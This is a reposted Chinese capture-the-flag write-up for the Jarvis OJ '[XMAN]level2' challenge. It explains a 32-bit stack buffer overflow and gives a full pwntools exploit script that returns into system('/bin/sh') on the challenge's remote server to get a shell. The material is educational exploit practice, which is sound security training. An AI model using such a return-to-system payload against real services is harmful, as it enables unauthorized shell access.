首页 > 编程语言 > 详细

Jarvis OJ - [XMAN]level2 - Writeup

时间:2017-10-02 19:11:11      阅读:388      评论:0      收藏:0      [点我收藏+]

Jarvis OJ - [XMAN]level2 - Writeup

M4x原创,转载请标明出处http://www.cnblogs.com/WangAoBo/p/7622091.html

题目:

技术分享

分析:

  • 下载的文件先checksec检查保护机制

    技术分享

    没有开栈保护和装载地址随机化

  • 拖到IDA中查看,shift+F12搜索字符串,发现了/bin/sh

    技术分享

     

    同时,在函数列表里也发现了system函数

    技术分享

    这样我们就可以构造一个system("/bin/sh")的伪栈帧,通过控制vulnerable_function()返回到该伪栈帧,即可执行system("/bin/sh")来get shell

    因为我们的目的只是为了通过system("/bin/sh")来get shell,所以伪栈帧中system的返回地址可以随便指定

步骤:

经过以上的分析直接放exp,关键的点都写在注释里了

 1 #!/usr/bin/env python
 2 # -*- coding: utf-8 -*-
 3 __Auther__ = M4x
 4 
 5 from pwn import *
 6 context.log_level = debug
 7 
 8 elf = ELF(./level2)
 9 sys_addr = elf.symbols[system]#system函数地址
10 sh_addr = elf.search(/bin/sh).next()#/bin/sh字符串地址
11 
12 payload = a * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)#0xdeadbeef为system("/bin/sh")执行后的返回地址,可以随便指定
13 #  io = process(‘./level2‘)
14 io = remote(pwn2.jarvisoj.com, 9878)
15 io.sendlineafter("Input:\n", payload)
16 
17 io.interactive()
18 io.close()

 

此时程序的运行流程如下图:

技术分享

结果:

运行即可达到flag

技术分享

 

Jarvis OJ - [XMAN]level2 - Writeup

原文:http://www.cnblogs.com/WangAoBo/p/7622091.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!